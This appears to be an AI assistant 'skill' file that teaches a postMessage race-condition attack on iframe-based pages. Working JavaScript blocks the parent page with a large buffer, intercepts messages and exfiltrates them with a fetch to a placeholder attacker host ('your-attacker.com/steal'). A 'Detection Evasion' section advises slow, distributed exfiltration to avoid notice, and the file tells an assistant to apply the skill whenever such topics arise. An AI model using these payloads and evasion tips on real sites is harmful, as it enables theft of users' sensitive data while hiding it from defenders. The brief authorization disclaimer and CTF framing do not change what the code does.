| name | postmessage-race-condition-exploit |
| description | How to exploit postMessage vulnerabilities using race conditions to steal sensitive data from parent pages. Use this skill whenever the user mentions postMessage, iframe exploitation, cross-origin communication vulnerabilities, race conditions in web security, stealing data from parent windows, or any scenario where an iframe needs to intercept messages before the parent page processes them. This is especially useful for CTF challenges, bug bounties, or security assessments involving blob documents, isolated iframes, or message-passing between windows. |
PostMessage Race Condition Exploitation
This skill teaches you how to exploit timing vulnerabilities in postMessage communication by keeping the parent page busy while your iframe payload executes.
The Core Concept
When a parent page creates an iframe and sends sensitive data via postMessage after the iframe loads, there's a window of opportunity. If you can:
- Let the parent create the iframe (don't prevent it)
- Keep the parent busy right after iframe creation
- Execute your payload in the iframe while parent is blocked
- Listen for the postMessage that arrives after parent unblocks
You can steal data that the parent intended to send securely.
Why This Works
Blob documents created from null origins are isolated for security. However, if you maintain the parent page in a busy state, the iframe page continues executing. The parent will send the postMessage with sensitive data (like a flag) after the iframe loads, but if your payload is already listening, you can intercept it.
Step-by-Step Exploitation
Step 1: Identify the Vulnerable Pattern
Look for parent pages that:
- Create iframes dynamically
- Listen for postMessage events
- Send sensitive data after receiving confirmation
Example vulnerable code:
window.addEventListener("message", (e) => {
if (e.data == "blob loaded") {
sendFlagToIframe();
}
})
Step 2: Find an Async Action to Block
You need to find an async action the parent executes that you can slow down. Common targets:
- Large data comparisons: Send a big integer that gets converted to string
- Heavy computations: Trigger expensive operations
- Network requests: Slow down with large payloads
Example blocking payload:
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
This works because the parent's comparison e.data == "blob loaded" will convert the large buffer to a string, taking significant time.
Step 3: Time Your Payload Precisely
You need to send the blocking postMessage just after the iframe is created but before it's ready to receive data. Use setTimeout with millisecond precision:
setTimeout(() => {
parent.postMessage(blockingData, '*');
}, 50);
Step 4: Set Up Your Listener in the Iframe
Your iframe payload should immediately set up a message listener:
window.addEventListener('message', (e) => {
if (e.data && e.data.includes('flag')) {
fetch('https://your-attacker.com/steal?data=' + encodeURIComponent(e.data));
}
});
Step 5: Complete Attack Flow
window.addEventListener('message', (e) => {
if (e.data && typeof e.data === 'string' && e.data.length > 10) {
exfiltrate(e.data);
}
});
setTimeout(() => {
const buffer = new Uint8Array(1e7);
window.parent.postMessage(buffer, '*', [buffer.buffer]);
}, 100);
setTimeout(() => {
window.parent.postMessage('blob loaded', '*');
}, 200);
Timing Considerations
The exact timing depends on:
- Parent page load time: How long until it creates the iframe
- Parent's message handler: How quickly it processes messages
- Network conditions: Affects when data arrives
Debugging tip: Add console logs with timestamps to measure the window:
console.log('Iframe loaded:', Date.now());
console.log('Message received:', Date.now());
Common Scenarios
Scenario 1: Blob Document Preview
Parent creates a blob iframe to preview a document, then sends the document content via postMessage.
Exploitation:
- Send large buffer to block parent's message handler
- Listen for the document content in your iframe
- Exfiltrate before parent unblocks
Scenario 2: Modal Preview Systems
Parent listens for "blob loaded" to show a modal with sensitive data.
Exploitation:
- Block the comparison
e.data == "blob loaded"
- Your iframe receives the modal data before parent processes it
Scenario 3: Cross-Origin Data Sharing
Parent shares data across origins via postMessage after iframe confirmation.
Exploitation:
- Race the confirmation message
- Intercept data in transit
Detection Evasion
To avoid detection:
- Use realistic timing: Don't block for too long
- Match expected messages: Send the confirmation the parent expects
- Avoid obvious exfiltration: Use slow, distributed exfiltration
Testing Checklist
Before attempting exploitation:
Legal and Ethical Considerations
Only use this technique:
- On systems you own or have explicit permission to test
- In CTF challenges and authorized bug bounty programs
- For educational purposes in controlled environments
Never exploit this vulnerability on systems without authorization.
References